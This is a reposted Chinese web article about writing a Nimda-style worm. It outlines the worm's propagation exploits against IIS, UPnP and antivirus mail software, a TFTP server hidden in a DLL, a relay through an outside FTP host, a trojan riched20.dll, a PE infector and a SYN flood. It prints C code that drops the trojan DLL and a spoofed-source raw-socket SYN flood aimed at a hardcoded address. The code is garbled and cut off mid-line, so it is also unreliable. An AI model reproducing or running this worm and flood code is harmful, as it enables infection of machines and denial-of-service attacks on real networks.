分享
 
 
 

Nimda源代码级揭密

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

1.0.0一些声明

本文并不是使用nimda的源代码来讲座的,本文的作者是根据对nimda的行为分析加上作者本人的功底自悟写出来的

本文提供的程序代码均在VC5.0/6.0+win9x/me/2000+sp1/xp/nt4.0+sp4下测试通过

1.1.1

Unicode漏洞

最近网上关于它的东西有不少,所以我就不费口舌了。

直接从网上便可得到许多的资料

1.1.2

WinME/XP UPNP 漏洞

很多黑客网站上都有它的资料,我就不在这里说了。有漏洞机器大约有30000来台,本次新增

1.1.3

金山毒霸2001的邮件监控(mailmon.exe)存在缓冲溢出漏洞

tombkeeper说的非常清楚,我就不多说了。这样的机器就更多了。本次新增

1.1.4

IIS5.0 .idq 漏洞

前些日子的Redcode就用的这个。本次新增

1.1.5

IIS4.0的缓冲漏洞

古老的漏洞了,不过仍有有这个漏洞的机器。本次新增

1.2 TFTP

这个东西用TFTPd.exe就行了,不过我这里使用TFTP.DLL作服务器。原因是我不想让人发现它的进程。这一次还利用了FTP服务器www.wormworld.com作中转。本次改进

1.4 Riched20.dll

其实就是把%system%//Riched20.dll的结构导出来,修改Dllmain的代码,把病毒体从它的体内分离出来。

这东西写起来即麻烦又废时间,索性使用另外的方法代替了

riched20()函数的内容

HANDLE hFile=CreateFile("riched20.DLL",GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INVALID_HANDLE_VALUE)

{

//printf("\nCreate file %s failed:%d",RemoteFilePath,GetLastError());

return -1

}

//写文件内容

DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(tftpdllbuff)

while(dwSizedwIndex)

{

if(!WriteFile(hFile,&richedpdllbuff[dwIndex],dwSize-dwIndex,&dwWrite,NULL))

{

//printf("\nWrite file %s failed:%d","riched20.DLL",GetLastError());

return -1

}

dwIndex+=dwWrite;

}

//关闭文件句柄

CloseHandle(hFile);

1.5 Base64

看到代码就懂了

1.6 pe病毒部分

这是新功能。本次新增

1.7 SYNflood

分布式洪水报文攻击。本次新增。

1.8 主程序代码

--------------------------------------------------------------------------------------

file://Don't forget to link with wsock32.lib :-o

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include #include#include#include#include#include#define SEQ 0x28376839#define SYN_DEST_IP "134.60.98.7" //目的IP(美国国防部)#define FAKE_IP "134.60.98.7" //伪装IP超始值,本程序的伪装IP覆盖一个B类网段(美国国防部攻击美国国防部??!!)#define STATUS_FAILED 0xFFFF //错误返回值typedef struct _iphdr{ //定义IP首部unsigned char h_verlen; //4位首部长度,4位IP版本号unsigned char tos; //unsigned short total_len;unsigned short ident;unsigned short frag_and_flags;unsigned short ttl;unsigned char proto;unsigned short checksum;unsigned int sourceIP;unsigned int destIP;}IP_HEADER;struct{ //定义TCP伪首部unsigned long saddr;unsigned long daddr;char mbz;char ptcl;unsigned short tcpl;}psd_header;typedef struct _tcphdr{ //定义TCP首部USHORT th_sport;USHORT th_dpost;unsigned int ht_seq;unsigned int ht_ack;unsigned char th_lenres;unsigned char th_flag;USHORT th_win;USHORT th_sum;USHORT th_urp;}TCP_HEADER;USHORT checksum(USHORT *buffer,int size){ //计算验和的子函数unsigned long chsum=0;while(size1){chsum+=*buffer++;size-=sizeof(USHORT);}if(size){chsum+=*(UCHAR*)buffer;}chsum=(chsum16)+(chsum & 0xffff);chsum+=(chsum16);return (USHORT)(~chsum);}int WINAPI flood(){int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;int TimeOut=2000,SendSEQ=0;char SendBuf[128]={0};char RecvBuf[65535]={0};WSADATA wsaData;SOCKET SockRaw=(SOCKET)NULL;struct sockaddr_in DestAddr;IP_HEADER ip_header;TCP_HEADER tcp_header;//初始化SOCK_RAWif((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){//fprintf(stderr,"WSAStartup failed:%d\n",ErrorCode);return 0}//建立套接字SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);if(SockRaw==INVALID_SOCKET){//fprintf(stderr,"WSASocket() failed:%d\n",WSAGetLastError());return 0}flag=TRUE;//设置IP_HDRINCL以自己填充IP首部ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));if(ErrorCode==SOCKET_ERROR)//printf("Set IP_HDRINCL Error!\n");__try{ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut));if(ErrorCode==SOCKET_ERROR){//fprintf(stderr,"Failed to set send TimeOut:%d\n",WSAGetLastError());return 0}memset(&DestAddr,0,sizeof(DestAddr));DestAddr.sin_family=AF_INET;DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);FakeIpNet=inet_addr(FAKE_IP);FakeIpHost=ntohl(FakeIpNet);//填充IP首部ip_header.h_verlen =(4ip_header.total_len =htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度ip_header.ident =1;ip_header.frag_and_flags =0;ip_header.ttl =128;ip_header.proto =IPPROTO_TCP;ip_header.checksum =0;ip_header.sourceIP =htonl(FakeIpHost+SendSEQ);ip_header.destIP =inet_addr(SYN_DEST_IP);//填充TCP首部tcp_header.th_sport =htons(7000);tcp_header.th_dpost =htons(8080);tcp_header.ht_seq=htonl(SEQ+SendSEQ);tcp_header.ht_ack=0;tcp_header.th_lenres =(sizeof(TCP_HEADER)/4tcp_header.th_flag =2;tcp_header.th_win =htons(16384);tcp_header.th_urp =0;tcp_header.th_sum =0;//填充TCP伪首部psd_header.saddr=ip_header.sourceIP ;psd_header.daddr=ip_header.destIP ;psd_header.mbz=0;psd_header.ptcl=IPPROTO_TCP;psd_header.tcpl=htons(sizeof(tcp_header));while(1){//每发送1024个报文输出一个标示符//printf(".");for(counter=0;counterif(SendSEQ++==65536)SendSEQ=1; //序列循环//改IP首部ip_header.checksum =0;ip_header.sourceIP =htonl(FakeIpHost+SendSEQ); //32位源IP//改TCP首部tcp_header.ht_seq =htonl(SEQ+SendSEQ); //SYN序列号tcp_header.th_sum =0;//改TCP Pseudo Headerpsd_header.saddr=ip_header.sourceIP ;//计算TCP校验和,计算校验和时需要包括TCP pssudo headermemcpy(SendBuf,&psd_header,sizeof(psd_header));memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));//计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header));memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));memcpy(Se

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有